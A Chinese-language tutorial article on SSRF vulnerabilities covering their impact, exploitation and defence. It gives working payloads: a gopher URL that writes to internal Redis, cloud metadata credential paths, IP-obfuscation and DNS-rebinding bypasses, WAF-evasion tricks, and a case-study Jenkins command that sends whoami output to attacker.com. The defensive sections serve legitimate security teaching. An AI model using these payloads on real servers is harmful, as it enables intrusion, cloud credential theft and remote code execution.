ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

SSRF漏洞原理、利用与防御实战指南

SSRF漏洞原理、利用与防御实战指南 1. SSRF漏洞的本质与危害剖析SSRFServer-Side Request Forgery服务端请求伪造本质上是一种由服务端发起非预期网络请求的安全缺陷。不同于常规的CSRF跨站请求伪造需要诱导用户操作SSRF的请求发起主体是服务器本身这使得它具有更隐蔽的攻击特性。在实际渗透测试中我遇到过最典型的场景是某电商平台的订单导出功能允许用户输入URL地址来获取外部商品信息。表面看这是个正常功能但当攻击者将内网地址如192.168.1.1:8080作为参数提交时服务器竟然成功获取到了内网管理系统的登录页面HTML源码——这就是典型的SSRF漏洞。这种漏洞的危害呈三级放大效应初级危害扫描内网端口和服务通过返回差异判断端口开放状态中级危害获取敏感数据如访问内网Redis未授权服务高级危害实现RCE如结合CRLF注入攻击Jenkins脚本控制台关键注意现代云环境中SSRF可能直接获取云服务元数据如AWS的169.254.169.254导致云主机接管等高危情况。2. 深度利用技术拆解2.1 协议利用的奇技淫巧除了常见的HTTP/HTTPS协议不同网络协议在SSRF利用中有独特价值Gopher协议堪称SSRF中的瑞士军刀能构造任意格式的TCP数据包。我曾用以下Payload成功攻击内网Redisgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$8%0d%0aHACKED%0d%0a*1%0d%0a$4%0d%0asave这个URL解码后实际发送的是Redis命令*3 $3 set $1 1 $8 HACKED *1 $4 saveFile协议读取服务器本地文件如file:///etc/passwd但现代WAF通常会直接拦截。DNS重绑定绕过IP黑名单的终极杀招。通过控制DNS解析结果使第一次校验时返回合法IP实际请求时解析为内网IP。实际操作时需要注册域名并配置0.0.0.0的A记录设置TTL为极短时间如60秒在请求发出后立即修改解析为靶机IP2.2 绕过防御的六种实战姿势2.2.1 IP格式混淆八进制IP0177.0.0.1 → 127.0.0.1十六进制IP0x7f000001 → 2130706433省略格式127.1 → 127.0.0.12.2.2 URL解析差异利用不同库的解析特性# Python urllib vs requests http://user:passevil.com → urllib认为host是evil.comrequests可能认为是user:passevil.com2.2.3 重定向利用上传一个302跳转的PHP文件?php header(Location: http://169.254.169.254/latest/meta-data/); ?2.2.4 特殊字符注入CRLF注入http://example.com%0d%0aX-Injected:%20header问号截断http://evil.com/?targethttp://192.168.1.12.2.5 域名白名单绕过子域名接管http://xxx.github.io假设github.io在白名单相似域名http://google.com.evil.com2.2.6 云环境特殊利用AWS元数据API绕过http://169.254.169.254/latest/meta-data/iam/security-credentials/当直接访问被拦截时尝试http://[::ffff:169.254.169.254]/3. 防御方案与对抗演进3.1 传统防御方案的局限性多数SSRF防御采用黑名单正则校验模式存在固有缺陷# 典型错误示例伪代码 def check_ssrf(url): bad_domains [localhost, 169.254, 10.] for domain in bad_domains: if domain in url: return False return True这种方案至少存在三个问题无法覆盖所有IP变形如前文的八进制、十六进制等形式对重定向攻击完全无效可能误杀合法业务如需要访问包含10.的公开域名3.2 现代防御体系构建3.2.1 网络层防护出口防火墙禁止服务器主动向外发起非业务必要协议的请求如禁用Gopher、FTP等网络隔离将可能触发SSRF的服务放在独立DMZ区3.2.2 代码层防护使用URL标准化库如Python的urllib.parse实施严格的allowlist机制ALLOWED_DOMAINS {api.weixin.qq.com, cdn.example.com} def safe_request(url): parsed urllib.parse.urlparse(url) if parsed.hostname not in ALLOWED_DOMAINS: raise ValueError(Invalid domain) # 继续处理请求...3.2.3 运行时防护请求特征检测如异常User-Agent、高频内网请求请求结果验证如检查返回内容是否包含HTML标签3.3 对抗WAF的进阶技巧当遇到专业WAF时可以尝试分块传输编码通过Transfer-Encoding: chunked绕过内容检测协议嵌套http://localhost:80evil.com:8080/不同解析器理解不同Unicode混淆http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ→ example.com4. 实战案例与排查记录4.1 某金融系统SSRF-RCE完整链条在一次授权测试中发现的经典案例发现PDF导出功能存在URL参数通过DNS重绑定访问到内网Jenkinshttp://localhost:8080利用Jenkins脚本控制台执行命令curl http://attacker.com/$(whoami).execute().text获取到root权限后读取宿主机Docker socket文件最终控制整个K8s集群关键教训该系统的防御仅验证了URL是否包含黑名单关键词未校验DNS最终解析IP。4.2 常见错误排查表现象可能原因验证方法请求返回连接超时目标端口未开放换端口多次尝试返回400错误WAF拦截特殊字符逐步简化Payload测试返回相同错误页面请求未到达目标对比不同IP的返回差异响应内容被修改中间件过滤检查响应头中的Server字段5. 防御方案演进建议基于近年攻防对抗经验我总结出三条核心原则默认拒绝原则所有未明确允许的URL格式都应拒绝而非相反纵深检测原则在客户端、服务端、网络层分别实施不同维度的校验最小化原则业务需要什么能力就开放什么如只需HTTP GET就不应允许其他方法具体到代码实现推荐使用经过实战检验的库# 使用安全的请求库 from ssrf_filter import SSRFProtectedSession session SSRFProtectedSession(allowed_domains[api.example.com]) response session.get(user_input_url) # 自动拦截危险请求最后分享一个检测SSRF的简单方法在本地搭建nc监听然后尝试让服务器访问http://your-ip:port观察是否收到连接请求。这个技巧在内部红蓝对抗中非常实用。
返回列表